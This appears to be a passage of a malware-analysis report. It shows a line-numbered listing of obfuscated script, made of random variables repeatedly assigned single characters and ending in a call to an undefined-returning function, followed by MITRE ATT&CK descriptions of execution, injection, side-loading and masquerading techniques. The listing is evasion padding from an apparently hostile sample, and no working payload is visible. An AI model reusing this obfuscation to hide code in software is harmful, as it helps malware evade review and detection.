451	tfkgtbs = "O";
452	tfkgtbs = "c";
453	tfkgtbs = "k";
454	tfkgtbs = "w";
455	tfkgtbs = "X";
456	tfkgtbs = "u";
457	tfkgtbs = "w";
458	tfkgtbs = "w";
459	tfkgtbs = "u";
460	tfkgtbs = "x";
461	tfkgtbs = "o";
462	tfkgtbs = "o";
463	tfkgtbs = "D";
464	tfkgtbs = "Q";
465	tfkgtbs = "g";
466	tfkgtbs = "m";
467	tfkgtbs = "0";
468	dddkxqax = "K";
469	dddkxqax = "v";
470	dddkxqax = "Z";
471	dddkxqax = "G";
472	dddkxqax = "u";
473	dddkxqax = "B";
474	dddkxqax = "W";
475	dddkxqax = "j";
476	dddkxqax = "M";
477	dddkxqax = "n";
478	dddkxqax = "K";
479	dddkxqax = "h";
480	dddkxqax = "C";
481	dddkxqax = "B";
482	dddkxqax = "G";
483	dddkxqax = "j";
484	dddkxqax = "l";
485	eploor = "c";
486	eploor = "D";
487	eploor = "H";
488	eploor = "Z";
489	eploor = "@";
490	mbucue = "G";
491	mbucue = "g";
492	mbucue = "M";
493	mbucue = "f";
494	mbucue = "G";
495	mbucue = "d";
496	mbucue = "V";
497	mbucue = "H";
498	mbucue = "c";
499	mbucue = "q";
500	mbucue = "n";
501	mbucue = "j";
502	mbucue = "k";
503	mbucue = "k";
504	mbucue = "N";
505	mbucue = "o";
506	mbucue = "H";
507	mbucue = "n";
508	mbucue = "h";
509	mbucue = "q";
510	mbucue = "i";
511	ipowvpfuo = "I";
512	ipowvpfuo = "E";
513	ipowvpfuo = "Z";
514	ipowvpfuo = "j";
515	ipowvpfuo = "B";
516	ipowvpfuo = "N";
517	ipowvpfuo = "j";
518	ipowvpfuo = "p";
519	ipowvpfuo = "K";
520	ipowvpfuo = "C";
521	ipowvpfuo = "Q";
522	ipowvpfuo = "E";
523	ipowvpfuo = "K";
524	ipowvpfuo = "d";
525	ipowvpfuo = "C";
526	ipowvpfuo = "t";
527	ipowvpfuo = "A";
528	ipowvpfuo = "h";
529	ipowvpfuo = "v";
530	ipowvpfuo = "G";
531	ipowvpfuo = "p";
532	ipowvpfuo = "y";
533	ipowvpfuo = "N";
534	eangjwi = "c";
535	eangjwi = "z";
536	eangjwi = "Z";
537	eangjwi = "c";
538	eangjwi = "x";
539	eangjwi = "H";
540	eangjwi = "H";
541	eangjwi = "r";
542	eangjwi = "V";
543	eangjwi = "h";
544	eangjwi = "W";
545	eangjwi = "m";
546	eangjwi = "C";
547	eangjwi = "R";
548	eangjwi = "H";
549	eangjwi = "/";
550	apwdccyb = "z";
551	apwdccyb = "v";
552	apwdccyb = "W";
553	apwdccyb = "c";
554	apwdccyb = "p";
555	apwdccyb = "Z";
556	apwdccyb = "j";
557	apwdccyb = "A";
558	apwdccyb = "W";
559	apwdccyb = "f";
560	apwdccyb = "i";
561	apwdccyb = "J";
562	apwdccyb = "E";
563	apwdccyb = "Q";
564	apwdccyb = "T";
565	hxbnzrli = "D";
566	hxbnzrli = "a";
567	hxbnzrli = "i";
568	hxbnzrli = "z";
569	hxbnzrli = "N";
570	hxbnzrli = "y";
571	hxbnzrli = "p";
572	hxbnzrli = "G";
573	hxbnzrli = "r";
574	hxbnzrli = "q";
575	hxbnzrli = "R";
576	hxbnzrli = "k";
577	hxbnzrli = "c";
578	hxbnzrli = "M";
579	hxbnzrli = "S";
580	hxbnzrli = "Z";
581	hxbnzrli = "e";
582	hxbnzrli = "J";
583	hxbnzrli = "R";
584	hxbnzrli = "Q";
585	hxbnzrli = "G";
586	hxbnzrli = "K";
587	hxbnzrli = "R";
588	hxbnzrli = "U";
589	hxbnzrli = "P";
590	hxbnzrli = "V";
591	hxbnzrli = "n";
592	hxbnzrli = "U";
593	hxbnzrli = "v";
594	hxbnzrli = "n";
595	hxbnzrli = "n";
596	hxbnzrli = "a";
597	hxbnzrli = "U";
598	hxbnzrli = "u";
599	hxbnzrli = "X";
600	hxbnzrli = "I";
601	hxbnzrli = "Q";
602	hxbnzrli = "w";
603	hxbnzrli = "e";
604	hxbnzrli = "Q";
605	hxbnzrli = "P";
606	hxbnzrli = "u";
607	hxbnzrli = "S";
608	hxbnzrli = "&";
609	oovqph = "B";
610	oovqph = "r";
611	oovqph = "Q";
612	oovqph = "B";
613	oovqph = "w";
614	oovqph = "z";
615	oovqph = "T";
616	oovqph = "d";
617	oovqph = "I";
618	oovqph = "z";
619	oovqph = "a";
620	oovqph = "K";
621	oovqph = "F";
622	oovqph = "p";
623	oovqph = "l";
624	oovqph = "b";
625	oovqph = "T";
626	oovqph = "e";
627	oovqph = "Q";
628	oovqph = "E";
629	mjwyg = "r";
630	mjwyg = "Y";
631	mjwyg = "P";
632	mjwyg = "L";
633	mjwyg = "X";
634	mjwyg = "E";
635	mjwyg = "v";
636	mjwyg = "c";
637	mjwyg = "D";
638	mjwyg = "f";
639	mjwyg = "F";
640	mjwyg = "N";
641	mjwyg = "I";
642	mjwyg = "b";
643	mjwyg = "Q";
644	mjwyg = "G";
645	mjwyg = "U";
646	mjwyg = "P";
647	mjwyg = "j";
648	mjwyg = "k";
649	mjwyg = "B";
650	mjwyg = "w";
651	mjwyg = "b";
652	mjwyg = "W";
653	mjwyg = "r";
654	mjwyg = "t";
655	mjwyg = "G";
656	mjwyg = "a";
657	mjwyg = "F";
658	mjwyg = "t";
659	mjwyg = "Z";
660	mjwyg = "k";
661	mjwyg = "r";
662	mjwyg = "L";
663	mjwyg = "g";
664	mjwyg = "f";
665	mjwyg = "j";
666	mjwyg = "N";
667	mjwyg = "d";
668	hwlzak = "z";
669	hwlzak = "v";
670	hwlzak = "g";
671	lqjqv = "T";
672	lqjqv = "g";
673	lqjqv = "o";
674	lqjqv = "r";
675	lqjqv = "a";
676	lqjqv = "h";
677	lqjqv = "L";
678	lqjqv = "O";
679	lqjqv = "T";
680	lqjqv = "v";
681	lqjqv = "j";
682	lqjqv = "H";
683	lqjqv = "R";
684	lqjqv = "G";
685	lqjqv = "d";
686	lqjqv = "k";
687	lqjqv = "T";
688	lqjqv = "t";
689	lqjqv = "p";
690	lqjqv = "k";
691	lqjqv = "O";
692	lqjqv = "B";
693	lqjqv = "Z";
694	lqjqv = "v";
695	lqjqv = "U";
696	lqjqv = "c";
697	hrvuvxmtb = "a";
698	hrvuvxmtb = "Y";
699	bhekftdj = "a";
700	bhekftdj = "E";
701	bhekftdj = "a";
702	bhekftdj = "v";
703	bhekftdj = "Q";
704	bhekftdj = "H";
705	bhekftdj = "z";
706	bhekftdj = "Y";
707	bhekftdj = "G";
708	bhekftdj = "h";
709	bhekftdj = "M";
710	bhekftdj = "H";
711	bhekftdj = "x";
712	bhekftdj = "k";
713	bhekftdj = "y";
714	bhekftdj = "L";
715	bhekftdj = "i";
716	bhekftdj = "B";
717	bhekftdj = "s";
718	bhekftdj = "y";
719	bhekftdj = "l";
720	bhekftdj = "U";
721	bhekftdj = "P";
722	bhekftdj = "r";
723	bhekftdj = "r";
724	bhekftdj = "s";
725	bhekftdj = "P";
726	bhekftdj = "r";
727	bhekftdj = "q";
728	bhekftdj = "h";
729	bhekftdj = "Z";
730	bhekftdj = "w";
731	bhekftdj = "E";
732	bhekftdj = "y";
733	bhekftdj = "y";
734	bhekftdj = "F";
735	bhekftdj = "I";
736	bhekftdj = "d";
737	bhekftdj = "o";
738	bhekftdj = "p";
739	bhekftdj = "n";
740	bhekftdj = " ";
741	nujkwir = "E";
742	nujkwir = "l";
743	nujkwir = "V";
744	nujkwir = "d";
745	nujkwir = "i";
746	nujkwir = "I";
747	nujkwir = "H";
748	nujkwir = "o";
749	nujkwir = "x";
750	nujkwir = "h";
751	nujkwir = "R";
752	nujkwir = "m";
753	nujkwir = "t";
754	nujkwir = "t";
755	jpuoacc = "i";
756	jpuoacc = "B";
757	jpuoacc = "P";
758	jpuoacc = "Y";
759	jpuoacc = "A";
760	jpuoacc = "v";
761	jpuoacc = "f";
762	jpuoacc = "w";
763	jpuoacc = "n";
764	jpuoacc = "L";
765	jpuoacc = "h";
766	jpuoacc = "S";
767	jpuoacc = "K";
768	jpuoacc = "R";
769	jpuoacc = "k";
770	jpuoacc = "m";
771	jpuoacc = "z";
772	jpuoacc = "W";
773	jpuoacc = "O";
774	jpuoacc = "t";
775	jpuoacc = "T";
776	jpuoacc = "S";
777	jpuoacc = "x";
778	jpuoacc = "R";
779	jpuoacc = "x";
780	jpuoacc = "L";
781	jpuoacc = "E";
782	jpuoacc = "g";
783	jpuoacc = "y";
784	jpuoacc = "x";
785	jpuoacc = "U";
786	jpuoacc = "N";
787	jpuoacc = "t";
788	jpuoacc = "P";
789	jpuoacc = "f";
790	wdtbkdyl = "R";
791	wdtbkdyl = "s";
792	wdtbkdyl = "f";
793	wdtbkdyl = "a";
794	wdtbkdyl = "C";
795	wdtbkdyl = "o";
796	wdtbkdyl = "C";
797	wdtbkdyl = "K";
798	wdtbkdyl = "w";
799	wdtbkdyl = "h";
800	wdtbkdyl = "n";
801	wdtbkdyl = "z";
802	wdtbkdyl = "v";
803	wdtbkdyl = "K";
804	wdtbkdyl = "W";
805	wdtbkdyl = "r";
806	wdtbkdyl = "A";
807	wdtbkdyl = "W";
808	wdtbkdyl = "i";
809	wdtbkdyl = "A";
810	wdtbkdyl = "K";
811	wdtbkdyl = "U";
812	wambeyx = "L";
813	wambeyx = "E";
814	wambeyx = "x";
815	wambeyx = "w";
816	wambeyx = "U";
817	wambeyx = "i";
818	wambeyx = "w";
819	wambeyx = "O";
820	wambeyx = "e";
821	wambeyx = "H";
822	wambeyx = "g";
823	wambeyx = "S";
824	wambeyx = "R";
825	wambeyx = "L";
826	wambeyx = "Z";
827	wambeyx = "g";
828	wambeyx = "w";
829	wambeyx = "o";
830	wambeyx = "M";
831	wambeyx = "I";
832	wambeyx = "Y";
833	wambeyx = "Q";
834	wambeyx = "w";
835	wambeyx = "p";
836	wambeyx = "Q";
837	wambeyx = "b";
838	wambeyx = "G";
839	wambeyx = "p";
840	wambeyx = "V";
841	wambeyx = "p";
842	wambeyx = "e";
843	wambeyx = "G";
844	wambeyx = "k";
845	wambeyx = "s";
846	wambeyx = "W";
847	kjhwkpzq = "Q";
848	kjhwkpzq = "b";
849	kjhwkpzq = "V";
850	kjhwkpzq = "z";
851	kjhwkpzq = "V";
852	kjhwkpzq = "S";
853	kjhwkpzq = "i";
854	kjhwkpzq = "n";
855	kjhwkpzq = "r";
856	kjhwkpzq = "A";
857	kjhwkpzq = "m";
858	kjhwkpzq = "T";
859	kjhwkpzq = "o";
860	kjhwkpzq = "P";
861	kjhwkpzq = "Y";
862	kjhwkpzq = "Z";
863	kjhwkpzq = "b";
864	kjhwkpzq = "q";
865	icjmg = "l";
866	icjmg = "r";
867	icjmg = "C";
868	icjmg = "i";
869	icjmg = "K";
870	icjmg = "K";
871	icjmg = "Q";
872	icjmg = "a";
873	icjmg = "X";
874	icjmg = "z";
875	icjmg = "s";
876	icjmg = "u";
877	wmajoki = "c";
878	wmajoki = "Q";
879	wmajoki = "c";
880	wmajoki = "H";
881	wmajoki = "R";
882	wmajoki = "J";
883	wmajoki = "X";
884	wmajoki = "K";
885	wmajoki = "S";
886	wmajoki = "W";
887	wmajoki = "Z";
888	wmajoki = "e";
889	wmajoki = "Z";
890	wmajoki = "T";
891	wmajoki = "Y";
892	wmajoki = "B";
893	wmajoki = "B";
894	wmajoki = "i";
895	wmajoki = "T";
896	wmajoki = "p";
897	wmajoki = "J";
898	wmajoki = "P";
899	wmajoki = "S";
900	wmajoki = "L";
901	wmajoki = "j";
902	wmajoki = "v";
903	wmajoki = "v";
904	wmajoki = "S";
905	wmajoki = "6";
906	czotpocx = "R";
907	czotpocx = "k";
908	czotpocx = "D";
909	czotpocx = "G";
910	czotpocx = "S";
911	czotpocx = "3";
912	dzuxtih = "q";
913	dzuxtih = "L";
914	dzuxtih = "h";
915	dzuxtih = "w";
916	dzuxtih = "P";
917	dzuxtih = "v";
918	dzuxtih = "c";
919	dzuxtih = "c";
920	dzuxtih = "o";
921	dzuxtih = "x";
922	dzuxtih = "r";
923	dzuxtih = "p";
924	dzuxtih = "r";
925	dzuxtih = "G";
926	dzuxtih = "J";
927	dzuxtih = "h";
928	dzuxtih = "d";
929	dzuxtih = "i";
930	dzuxtih = "U";
931	dzuxtih = "b";
932	dzuxtih = "R";
933	dzuxtih = "u";
934	dzuxtih = "k";
935	dzuxtih = "T";
936	dzuxtih = "P";
937	dzuxtih = "B";
938	dzuxtih = "a";
939	dzuxtih = "N";
940	dzuxtih = "g";
941	dzuxtih = "o";
942	dzuxtih = "Z";
943	dzuxtih = "I";
944	dzuxtih = "W";
945	dzuxtih = "A";
946	dzuxtih = "Z";
947	dzuxtih = "k";
948	dzuxtih = "n";
949	dzuxtih = "H";
950	dzuxtih = "n";
951	rhxcbkf = "O";
952	rhxcbkf = "m";
953	rhxcbkf = "L";
954	rhxcbkf = "b";
955	rhxcbkf = "S";
956	rhxcbkf = "M";
957	rhxcbkf = "n";
958	rhxcbkf = "A";
959	rhxcbkf = "B";
960	rhxcbkf = "R";
961	rhxcbkf = "G";
962	rhxcbkf = "X";
963	rhxcbkf = "Z";
964	rhxcbkf = "F";
965	rhxcbkf = "O";
966	rhxcbkf = "z";
967	rhxcbkf = "m";
968	rhxcbkf = "W";
969	rhxcbkf = "q";
970	rhxcbkf = "m";
971	rhxcbkf = "c";
972	rhxcbkf = "j";
973	rhxcbkf = "t";
974	rhxcbkf = "G";
975	rhxcbkf = "D";
976	rhxcbkf = "D";
977	rhxcbkf = "v";
978	rhxcbkf = "u";
979	rhxcbkf = "T";
980	rhxcbkf = "b";
981	rhxcbkf = "n";
982	rhxcbkf = "g";
983	rhxcbkf = "d";
984	rhxcbkf = "u";
985	rhxcbkf = "z";
986	rhxcbkf = "n";
987	rhxcbkf = "D";
988	rhxcbkf = "K";
989	rhxcbkf = "t";
990	rhxcbkf = "h";
991	rhxcbkf = "r";
992	rhxcbkf = "G";
993	rhxcbkf = "D";
994	rhxcbkf = "b";
995	nboup = "Q";
996	nboup = "a";
997	nboup = "w";
998	nboup = "r";
999	nboup = "q";
1000	nboup = "U";
1001	nboup = "K";
1002	nboup = "u";
1003	nboup = "R";
1004	nboup = "8";
1005	lmwhnu = "g";
1006	lmwhnu = "E";
1007	lmwhnu = "g";
1008	lmwhnu = "O";
1009	lmwhnu = "g";
1010	lmwhnu = "D";
1011	lmwhnu = "d";
1012	lmwhnu = "E";
1013	lmwhnu = "j";
1014	lmwhnu = "m";
1015	lmwhnu = "B";
1016	lmwhnu = "O";
1017	lmwhnu = "j";
1018	lmwhnu = "c";
1019	lmwhnu = "N";
1020	lmwhnu = "Z";
1021	lmwhnu = "s";
1022	lmwhnu = "U";
1023	lmwhnu = "M";
1024	lmwhnu = "z";
1025	lmwhnu = "z";
1026	lmwhnu = "i";
1027	lmwhnu = "Q";
1028	lmwhnu = "F";
1029	lmwhnu = "S";
1030	lmwhnu = "q";
1031	lmwhnu = "N";
1032	lmwhnu = "C";
1033	ctgwvyk = "x";
1034	ctgwvyk = "x";
1035	ctgwvyk = "G";
1036	ctgwvyk = "Q";
1037	ctgwvyk = "L";
1038	ctgwvyk = "D";
1039	ctgwvyk = "Y";
1040	ctgwvyk = "x";
1041	ctgwvyk = "u";
1042	ctgwvyk = "S";
1043	ctgwvyk = "n";
1044	ctgwvyk = "i";
1045	ctgwvyk = "M";
1046	ctgwvyk = "N";
1047	ctgwvyk = "u";
1048	ctgwvyk = "p";
1049	ctgwvyk = "u";
1050	ctgwvyk = "W";
1051	ctgwvyk = "G";
1052	ctgwvyk = "W";
1053	ctgwvyk = "t";
1054	ctgwvyk = "X";
1055	ctgwvyk = "f";
1056	ctgwvyk = "a";
1057	ctgwvyk = "g";
1058	ctgwvyk = "z";
1059	ctgwvyk = "X";
1060	ctgwvyk = "i";
1061	ctgwvyk = "b";
1062	ctgwvyk = "z";
1063	ctgwvyk = "j";
1064	ctgwvyk = "b";
1065	ctgwvyk = "W";
1066	ctgwvyk = "g";
1067	ctgwvyk = "b";
1068	ctgwvyk = "b";
1069	ctgwvyk = "D";
1070	ctgwvyk = "U";
1071	ctgwvyk = "Y";
1072	ctgwvyk = "X";
1073	ctgwvyk = "g";
1074	ctgwvyk = "H";
1075	ctgwvyk = "S";
1076	ctgwvyk = "I";
1077	ctgwvyk = "R";
1078	rmozgmt = "B";
1079	rmozgmt = "Y";
1080	rmozgmt = "P";
1081	rmozgmt = "N";
1082	rmozgmt = "j";
1083	rmozgmt = "B";
1084	rmozgmt = "u";
1085	rmozgmt = "m";
1086	rmozgmt = "F";
1087	rmozgmt = "L";
1088	rmozgmt = "Q";
1089	rmozgmt = "w";
1090	rmozgmt = "z";
1091	rmozgmt = "J";
1092	rmozgmt = "H";
1093	rmozgmt = "Y";
1094	rmozgmt = "D";
1095	rmozgmt = "I";
1096	rmozgmt = "A";
1097	rmozgmt = "q";
1098	rmozgmt = "x";
1099	rmozgmt = "w";
1100	rmozgmt = "C";
1101	rmozgmt = "x";
1102	rmozgmt = "o";
1103	rmozgmt = "N";
1104	rmozgmt = "d";
1105	rmozgmt = "H";
1106	rmozgmt = "n";
1107	rmozgmt = "G";
1108	rmozgmt = "M";
1109	rmozgmt = "n";
1110	rmozgmt = "S";
1111	rmozgmt = "Z";
1112	rmozgmt = "K";
1113	ngemqxm = "T";
1114	ngemqxm = "v";
1115	ngemqxm = "B";
1116	ngemqxm = "B";
1117	ngemqxm = "Q";
1118	ngemqxm = "h";
1119	ngemqxm = "D";
1120	ngemqxm = "A";
1121	ngemqxm = "I";
1122	ngemqxm = "w";
1123	rbzzbjbo = "V";
1124	rbzzbjbo = "E";
1125	rbzzbjbo = "y";
1126	rbzzbjbo = "S";
1127	rbzzbjbo = "z";
1128	rbzzbjbo = "M";
1129	rbzzbjbo = "s";
1130	rbzzbjbo = "k";
1131	rbzzbjbo = "D";
1132	rbzzbjbo = "o";
1133	rbzzbjbo = "b";
1134	rbzzbjbo = "V";
1135	rbzzbjbo = "B";
1136	rbzzbjbo = "d";
1137	rbzzbjbo = "l";
1138	rbzzbjbo = "n";
1139	rbzzbjbo = "H";
1140	rbzzbjbo = "M";
1141	rbzzbjbo = "\\";
1142	sllhg = "W";
1143	sllhg = "n";
1144	sllhg = "U";
1145	sllhg = "l";
1146	sllhg = "i";
1147	sllhg = "h";
1148	sllhg = "r";
1149	sllhg = "o";
1150	sllhg = "P";
1151	sllhg = "z";
1152	sllhg = "q";
1153	sllhg = "K";
1154	sllhg = "Q";
1155	sllhg = "i";
1156	sllhg = "y";
1157	sllhg = "t";
1158	sllhg = "C";
1159	sllhg = "v";
1160	sllhg = "T";
1161	sllhg = "V";
1162	sllhg = "k";
1163	sllhg = "c";
1164	sllhg = "l";
1165	sllhg = "T";
1166	sllhg = "s";
1167	sllhg = "L";
1168	sllhg = "n";
1169	sllhg = "e";
1170	sllhg = "u";
1171	sllhg = "G";
1172	sllhg = "D";
1173	sllhg = "A";
1174	sllhg = "n";
1175	sllhg = "O";
1176	sllhg = "B";
1177	sllhg = "L";
1178	sllhg = "E";
1179	sllhg = "\"";
1180	yspagkxfy = "O";
1181	yspagkxfy = "5";
1182	crfxvp = "L";
1183	crfxvp = "C";
1184	crfxvp = "e";
1185	crfxvp = "v";
1186	jzvlvv = "n";
1187	jzvlvv = "V";
1188	jzvlvv = "g";
1189	jzvlvv = "C";
1190	jzvlvv = "g";
1191	jzvlvv = "Z";
1192	jzvlvv = "k";
1193	jzvlvv = "a";
1194	jzvlvv = "O";
1195	jzvlvv = "E";
1196	jzvlvv = "C";
1197	jzvlvv = "m";
1198	jzvlvv = "W";
1199	jzvlvv = "I";
1200	jzvlvv = "p";
1201	jzvlvv = "E";
1202	jzvlvv = "n";
1203	jzvlvv = "q";
1204	jzvlvv = "K";
1205	jzvlvv = "B";
1206	jzvlvv = "i";
1207	jzvlvv = "D";
1208	jzvlvv = "z";
1209	jzvlvv = "Z";
1210	jzvlvv = "X";
1211	jzvlvv = "Y";
1212	jzvlvv = "N";
1213	jzvlvv = "E";
1214	jzvlvv = "b";
1215	jzvlvv = "O";
1216	jzvlvv = "O";
1217	jzvlvv = "k";
1218	jzvlvv = "d";
1219	jzvlvv = "D";
1220	jzvlvv = "q";
1221	jzvlvv = "p";
1222	jzvlvv = "o";
1223	dxkmdzlbh = "M";
1224	dxkmdzlbh = "B";
1225	dxkmdzlbh = "j";
1226	dxkmdzlbh = "B";
1227	dxkmdzlbh = "O";
1228	dxkmdzlbh = "a";
1229	dxkmdzlbh = "A";
1230	dxkmdzlbh = "W";
1231	dxkmdzlbh = "L";
1232	dxkmdzlbh = "E";
1233	dxkmdzlbh = "v";
1234	dxkmdzlbh = "w";
1235	dxkmdzlbh = "J";
1236	dxkmdzlbh = "i";
1237	dxkmdzlbh = "Q";
1238	dxkmdzlbh = "V";
1239	dxkmdzlbh = "s";
1240	dxkmdzlbh = "b";
1241	dxkmdzlbh = "c";
1242	dxkmdzlbh = "O";
1243	dxkmdzlbh = "V";
1244	dxkmdzlbh = "L";
1245	dxkmdzlbh = "D";
1246	dxkmdzlbh = "n";
1247	dxkmdzlbh = "Q";
1248	dxkmdzlbh = "E";
1249	dxkmdzlbh = "B";
1250	dxkmdzlbh = "p";
1251	dxkmdzlbh = "Q";
1252	dxkmdzlbh = "O";
1253	upkat = "d";
1254	upkat = "n";
1255	upkat = "y";
1256	upkat = "n";
1257	upkat = "S";
1258	upkat = "J";
1259	upkat = "N";
1260	upkat = "a";
1261	upkat = "G";
1262	upkat = "z";
1263	upkat = "g";
1264	upkat = "i";
1265	upkat = "R";
1266	upkat = "M";
1267	upkat = "r";
1268	upkat = "D";
1269	upkat = "B";
1270	upkat = "S";
1271	upkat = "A";
1272	upkat = "R";
1273	upkat = "x";
1274	upkat = "x";
1275	upkat = "k";
1276	upkat = "G";
1277	upkat = "z";
1278	upkat = "B";
1279	upkat = "i";
1280	upkat = "A";
1281	upkat = "I";
1282	xzbifth = "d";
1283	xzbifth = "t";
1284	xzbifth = "Z";
1285	xzbifth = "m";
1286	xzbifth = "g";
1287	xzbifth = "R";
1288	xzbifth = "g";
1289	xzbifth = "N";
1290	xzbifth = "w";
1291	xzbifth = "l";
1292	xzbifth = "Y";
1293	xzbifth = "C";
1294	xzbifth = "I";
1295	xzbifth = "T";
1296	xzbifth = "I";
1297	xzbifth = "S";
1298	xzbifth = "O";
1299	xzbifth = "F";
1300	xzbifth = "F";
1301	xzbifth = "h";
1302	xzbifth = "R";
1303	xzbifth = "d";
1304	xzbifth = "g";
1305	xzbifth = "x";
1306	xzbifth = "s";
1307	kqqla = "t";
1308	kqqla = "e";
1309	kqqla = "S";
1310	kqqla = "e";
1311	cezgtsh = "I";
1312	cezgtsh = "w";
1313	cezgtsh = "H";
1314	cezgtsh = "b";
1315	cezgtsh = "b";
1316	cezgtsh = "O";
1317	cezgtsh = "R";
1318	cezgtsh = "F";
1319	cezgtsh = "C";
1320	cezgtsh = "Y";
1321	cezgtsh = "o";
1322	cezgtsh = "D";
1323	cezgtsh = "G";
1324	cezgtsh = "S";
1325	cezgtsh = "Q";
1326	rhfvny = "o";
1327	rhfvny = "x";
1328	rhfvny = "h";
1329	rhfvny = "V";
1330	rhfvny = "X";
1331	rhfvny = "B";
1332	rhfvny = "X";
1333	rhfvny = "C";
1334	rhfvny = "p";
1335	rhfvny = "U";
1336	rhfvny = "w";
1337	rhfvny = "I";
1338	rhfvny = "V";
1339	rhfvny = "y";
1340	rhfvny = "V";
1341	rhfvny = "S";
1342	izhlj = "Y";
1343	izhlj = "a";
1344	izhlj = "9";
1345	qiczabehq = "h";
1346	qiczabehq = "r";
1347	qiczabehq = "z";
1348	qiczabehq = "x";
1349	qiczabehq = "S";
1350	qiczabehq = "J";
1351	qiczabehq = "s";
1352	qiczabehq = "e";
1353	qiczabehq = "F";
1354	qiczabehq = "C";
1355	qiczabehq = "Q";
1356	qiczabehq = "W";
1357	qiczabehq = "w";
1358	qiczabehq = "I";
1359	qiczabehq = "u";
1360	qiczabehq = "O";
1361	qiczabehq = "T";
1362	qiczabehq = "a";
1363	qiczabehq = "E";
1364	qiczabehq = "F";
1365	qiczabehq = "Z";
1366	qiczabehq = "X";
1367	qiczabehq = "x";
1368	aqtzj = "p";
1369	aqtzj = "F";
1370	aqtzj = "f";
1371	aqtzj = "P";
1372	aqtzj = "c";
1373	aqtzj = "C";
1374	aqtzj = "b";
1375	aqtzj = "y";
1376	aqtzj = "Z";
1377	aqtzj = "v";
1378	aqtzj = "l";
1379	aqtzj = "c";
1380	aqtzj = "u";
1381	aqtzj = "v";
1382	aqtzj = "Y";
1383	aqtzj = "x";
1384	aqtzj = "i";
1385	aqtzj = "x";
1386	aqtzj = "h";
1387	aqtzj = "E";
1388	aqtzj = "l";
1389	aqtzj = "t";
1390	aqtzj = "K";
1391	aqtzj = "K";
1392	aqtzj = "v";
1393	aqtzj = "E";
1394	aqtzj = "p";
1395	aqtzj = "w";
1396	aqtzj = "q";
1397	aqtzj = "n";
1398	aqtzj = "Y";
1399	aqtzj = "u";
1400	aqtzj = "t";
1401	aqtzj = "_";
1402	ffyoosqzo ( );	ffyoosqzo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

